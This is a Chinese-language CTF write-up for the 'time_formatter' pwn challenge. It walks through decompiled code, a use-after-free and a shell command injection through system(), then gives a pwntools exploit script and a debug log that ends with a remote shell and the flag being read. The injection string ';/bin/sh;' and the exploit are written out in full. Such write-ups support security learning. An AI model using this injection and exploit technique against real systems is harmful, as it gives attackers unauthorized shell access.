文章目录
time_formatter
伪代码
main函数
循环输出菜单并根据输入跳转执行不同功能。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__gid_t v3; // eax
FILE *v4; // rdi
__int64 v5; // rdx
int v6; // eax
v3 = getegid();
setresgid(v3, v3, v3);
setbuf(stdout, 0LL);
puts("Welcome to Mary's Unix Time Formatter!");
do
{
while ( 2 )
{
puts("1) Set a time format.");
puts("2) Set a time.");
puts("3) Set a time zone.");
puts("4) Print your time.");
puts("5) Exit.");
__printf_chk(1LL, (__int64)"> ");
v4 = stdout;
fflush(stdout);
switch ( get_number() )
{
case 1:
v6 = set_time_format();
break;
case 2:
v6 = set_time();
break;
case 3:
v6 = set_time_zone();
break;
case 4:
v6 = print_time((__int64)v4, (__int64)"> ", v5);
break;
case 5:
v6 = free_and_exit();
break;
default:
continue;
}
break;
}
}
while ( !v6 );
return 0LL;
}
get_number
int get_number()
{
char s; // [rsp+8h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-10h]
v2 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
return atoi(&s);
}
功能1–set_time_format
获得输入,申请内存空间,判断输入是否合法。
__int64 set_time_format()
{
char *v0; // rbx
v0 = get_format_malloc();
if ( (unsigned int)valid_format(v0) )
{
ptr = v0;
puts("Format set.");
}
else
{
puts("Format contains invalid characters.");
free_ptr(v0);
}
return 0LL;
}
get_format_malloc
char *get_format_malloc()
{
__int64 v0; // rdx
__int64 v1; // rcx
char s[1024]; // [rsp+8h] [rbp-410h]
unsigned __int64 v4; // [rsp+408h] [rbp-10h]
v4 = __readfsqword(0x28u);
__printf_chk(1LL, (__int64)"%s");
fflush(stdout);
fgets(s, 1024, stdin);
s[strcspn(s, "\n")] = 0;
return malloc_ret_ptr(s, (__int64)"\n", v0, v1);
}
valid_format
_BOOL8 __fastcall valid_format(char *s)
{
char accept; // [rsp+5h] [rbp-43h]
unsigned __int64 v3; // [rsp+38h] [rbp-10h]
strcpy(&accept, "%aAbBcCdDeFgGhHIjklmNnNpPrRsStTuUVwWxXyYzZ:-_/0^# ");
v3 = __readfsqword(0x28u);
return strspn(s, &accept) == strlen(s);
}
malloc_ret_ptr
char *__fastcall malloc_ret_ptr(const char *a1, __int64 a2, __int64 a3, __int64 a4)
{
char *v4; // rax
char *v5; // rbx
__int64 v7; // [rsp-8h] [rbp-18h]
v7 = a4;
v4 = strdup(a1);
if ( !v4 )
err(1, "strdup", v7);
v5 = v4;
if ( getenv("DEBUG") )
__fprintf_chk(stderr, 1LL, "strdup(%p) = %p\n", a1, v5);
return v5;
}
strdup()
调用malloc()为变量分配内存,一般和free()成对出现,返回指向分配空间的指针。
功能2–set_time
获得一个大于0的输入作为时间。
__int64 set_time()
{
int v0; // eax
const char *v1; // rdi
__printf_chk(1LL, (__int64)"Enter your unix time: ");
fflush(stdout);
v0 = get_number();
v1 = "Unix time must be positive";
if ( v0 >= 0 )
{
store_time = v0;
v1 = "Time set.";
}
puts(v1);
return 0LL;
}
功能3–set_time_zone
获得输入并申请内存空间,类似于功能1但输入没有要求。
__int64 set_time_zone()
{
value = get_format_malloc();
puts("Time zone set.");
return 0LL;
}
功能4–print_time
__int64 __fastcall print_time(__int64 a1, __int64 a2, __int64 a3)
{
__int64 v3; // r8
char command; // [rsp+8h] [rbp-810h]
unsigned __int64 v6; // [rsp+808h] [rbp-10h]
v6 = __readfsqword(0x28u);
if ( ptr )
{
__snprintf_chk(
(__int64)&command,
2048LL,
1LL,
2048LL,
(__int64)"/bin/date -d @%d +'%s'",
(unsigned int)store_time,
(__int64)ptr,
a3);
__printf_chk(1LL, (__int64)"Your formatted time is: ");
fflush(stdout);
if ( getenv("DEBUG") )
__fprintf_chk(stderr, 1LL, "Running command: %s\n", &command, v3);
setenv("TZ", value, 1);
system(&command);
}
else
{
puts("You haven't specified a format!");
}
return 0LL;
}
__snprintf_chk()
函数原型:int snprintf(char* dest_str,size_t size,const char* format,…)
函数功能:
①将可变个参数(…)按照format格式化成字符串,然后将其复制到str中。
②如果格式化后的字符串长度 >= size,则只将其中的(size-1)个字符复制到str中,并给其后添加一个字符串结束符(’\0’),返回值为欲写入的字符串长度。
若成功则返回预写入的字符串长度,若出错则返回负值。
snprintf_chk(
&command,
2048LL,
1LL,
2048LL,
"/bin/date -d @%d +'%s'",
store_time,
ptr,
a3);
system(&command);
注意 /bin/date -d @%d +’%s’ ,%s代表ptr,ptr指向的内存保存的内容为功能1输入的字符串s,我们希望执行system("/bin/sh"),可以将ptr指向内存的内容修改为"/bin/sh";但是此处执行system(&command),而&command="/bin/date -d @%d +’%s’", 需要一些技巧。
在shell中的同一行中要想两条命令分别执行有两种方法:
①使用 && 连接
②使用 ; 连接。
但是在第一种方法下只有当 && 之前的命令执行成功后才能执行后一条命令, 而 ; 不受限制。
所以我们需要将"/bin/sh"的形式改为 “;/bin/sh” ,在前面多加了分号。
因为%s用了单引号,我们需要设法去掉单引号,只需额外增加单引号与 ‘%s’ 的前后单引号匹配即可。
所以最终的形式为 “’;/bin/sh’” ,而对应的&command="/bin/date -d @%d +’’;/bin/sh’’"
最终执行system(&command)时执行了两条命令,/bin/date -d @%d和/bin/sh。
功能5–free_and_exit
先free,再询问是否退出,可以use after free。
signed __int64 free_and_exit()
{
signed __int64 result; // rax
char s; // [rsp+8h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-10h]
v2 = __readfsqword(0x28u);
free_ptr(ptr);
free_ptr(value);
__printf_chk(1LL, (__int64)"Are you sure you want to exit (y/N)? ");
fflush(stdout);
fgets(&s, 16, stdin);
result = 0LL;
if ( (s & 0xDF) == 89 )
{
puts("OK, exiting.");
result = 1LL;
}
return result;
}
payload说明
经分析,我们需要将ptr指向的内存内容修改为 “’;/bin/sh’” ,然后执行功能4–print_time来执行system(&command), 即需要借助某个函数将该字符串送入ptr指向的内存。
功能1–set_time_format可以对ptr操作,但是执行时会检查输入的字符串是否合法,很不幸,; 和 ’ 等都是非法的;功能3–set_time_zone对输入没有要求,可以选择功能3直接将目标字符串输入。
如果直接执行功能3会出现另外一个问题,当执行功能4输出时会提示"You haven’t specified a format!",意思是你还没有设定一个格式,要求我们必须执行功能1,所以我们必须先执行一次功能1,而功能1不能输入目标字符串因为该字符串不合法,只能先随便输入一个合法字符串,之后就可以利用功能5释放内存但并不退出,再执行功能3输入目标字符串。
这么做是因为功能1申请的内存块(chunk)释放后放到了bin当中,而执行到功能3时需要申请同样大小的内存块(chunk),就会优先考虑bin中的chunk,所以功能3分配的内存与之前功能1分配的内存是同一块。因为执行功能5时释放了内存但并没有把指针置为空,所以功能1的指针仍指向这一块内存,当最后执行功能4–print_time时就不会认为"You haven’t specified a format!"。
整体流程
依次执行操作 | 说明 |
---|---|
功能1–set_time_format | 输入一个合法字符串即可 |
功能5------free_and_exit | 释放功能1申请的内存但不退出 |
功能3-----set_time_zone | 将目标字符串"’;/bin/sh’"送入目标位置 |
功能4-----------print_time | 执行system(&command) |
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
content=0
def main():
global p
try:
if content == 1:
p = process("./time_formatter")
else:
p = remote("220.249.52.133", 33380)
except:
print("Error!")
select_menu(1, 'AAA')
select_menu(5, 'N')
select_menu(3, ";/bin/sh;'")
select_menu(4, '')
p.interactive()
def select_menu(choice, payload):
p.sendlineafter('5) Exit.\n> ', str(choice))
if choice == 4:
pass;
else:
p.recv()
p.sendline(payload)
main()
sun@sun-virtual-machine:~/Documents/pwn/02/time_formatter$ python exp.py
[+] Opening connection to 220.249.52.133 on port 33380: Done
[DEBUG] Received 0x7f bytes:
"Welcome to Mary's Unix Time Formatter!\n"
'1) Set a time format.\n'
'2) Set a time.\n'
'3) Set a time zone.\n'
'4) Print your time.\n'
'5) Exit.\n'
'> '
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x8 bytes:
'Format: '
[DEBUG] Sent 0x4 bytes:
'AAA\n'
[DEBUG] Received 0xb bytes:
'Format set.'
[DEBUG] Received 0x59 bytes:
'\n'
'1) Set a time format.\n'
'2) Set a time.\n'
'3) Set a time zone.\n'
'4) Print your time.\n'
'5) Exit.\n'
'> '
[DEBUG] Sent 0x2 bytes:
'5\n'
[DEBUG] Received 0x25 bytes:
'Are you sure you want to exit (y/N)? '
[DEBUG] Sent 0x2 bytes:
'N\n'
[DEBUG] Received 0x15 bytes:
'1) Set a time format.'
[DEBUG] Received 0x43 bytes:
'\n'
'2) Set a time.\n'
'3) Set a time zone.\n'
'4) Print your time.\n'
'5) Exit.\n'
'> '
[DEBUG] Sent 0x2 bytes:
'3\n'
[DEBUG] Received 0xb bytes:
'Time zone: '
[DEBUG] Sent 0xc bytes:
"';/bin/sh;'\n"
[DEBUG] Received 0xe bytes:
'Time zone set.'
[DEBUG] Received 0x59 bytes:
'\n'
'1) Set a time format.\n'
'2) Set a time.\n'
'3) Set a time zone.\n'
'4) Print your time.\n'
'5) Exit.\n'
'> '
[DEBUG] Sent 0x2 bytes:
'4\n'
[*] Switching to interactive mode
[DEBUG] Received 0x18 bytes:
'Your formatted time is: '
Your formatted time is: [DEBUG] Received 0x1c bytes:
'sh: 1: /bin/date: not found\n'
sh: 1: /bin/date: not found
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x2c bytes:
'bin\n'
'dev\n'
'flag\n'
'lib\n'
'lib32\n'
'lib64\n'
'time_formatter\n'
bin
dev
flag
lib
lib32
lib64
time_formatter
$ cat flag
[DEBUG] Sent 0x9 bytes:
'cat flag\n'
[DEBUG] Received 0x2d bytes:
'cyberpeace{d1c86fbb96f1511e75376120bcf7cc31}\n'
cyberpeace{d1c86fbb96f1511e75376120bcf7cc31}
$
[*] Interrupted